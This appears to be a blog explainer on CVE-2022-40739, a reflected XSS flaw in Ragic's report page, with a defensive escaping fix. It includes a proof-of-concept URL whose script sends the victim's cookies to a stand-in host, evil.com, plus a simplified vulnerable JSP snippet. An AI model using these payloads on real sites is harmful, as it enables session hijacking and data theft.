In September 2022, a security vulnerability labeled CVE-2022-40739 was disclosed, affecting the popular cloud-based database builder, Ragic. This flaw allows attackers with basic access to inject malicious JavaScript code into the report generation page. Upon exploitation, this could lead to a Reflected Cross-Site Scripting (XSS) attack, risking the integrity and confidentiality of user data.

This exclusive post breaks down what CVE-2022-40739 is, how it works, and shows you an example of exploiting it, using simple language for everyone to understand.

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a type of web security vulnerability where attackers inject malicious code—usually JavaScript—into web pages viewed by other users. It's a big deal because:

What is Ragic?

Ragic (https://www.ragic.com/) is an online database platform. Businesses use it for forms, workflows, and report generation.

What is the CVE-2022-40739 Vulnerability?

The report generation page in Ragic failed to filter special characters properly from user input. That means if you, as a regular user, put JavaScript code in a field, Ragic would include it directly in the report page without sanitizing it.

This is especially dangerous in environments where users share reports with others.

Proof-of-Concept: Exploiting the Vulnerability

Let's see how an attacker could actually exploit CVE-2022-40739.

Suppose the report generation page allows filtering by a name. The page's URL might look like

https://yourcompany.ragic.com/sales_report?customer=John

If the input from customer parameter gets rendered into the page without sanitization, anything typed there will be reflected into the HTML.

An attacker crafts a malicious URL

https://yourcompany.ragic.com/sales_report?customer=<script>alert('XSS')</script>;

When a victim user clicks this link, the report page would pop up an alert box with "XSS", proving code execution.

Here's what the vulnerable code might look like (simplified)

<%
// Java code (JSP) that does NOT sanitize input
String customer = request.getParameter("customer");
%>
<html>
  <body>
    Report for: <%= customer %>
  </body>
</html>

If the value of customer includes <script>, it gets embedded directly—dangerous!

https://yourcompany.ragic.com/sales_report?customer=<script>fetch("https://evil.com?cookie="+document.cookie)</script>;

If an admin clicks that link, their cookies get exfiltrated to the attacker's server.

Safe Example (using JSTL to escape HTML)

<c:out value="${param.customer}"/>

References

- NVD: CVE-2022-40739
- Ragic Report Page - Insufficient Special Character Filtering
- OWASP XSS Prevention Cheat Sheet

Conclusion

CVE-2022-40739 reminds us that even simple web applications can be dangerous if user inputs are not sanitized and filtered. Ragic users should upgrade their installations and beware of suspicious links in shared reports. Developers should always filter, escape, and validate every piece of user-generated content.

> Patch your software. Think before you click. Stay safe!

Timeline

Published on: 10/31/2022 07:15:00 UTC
Last modified on: 10/31/2022 12:58:00 UTC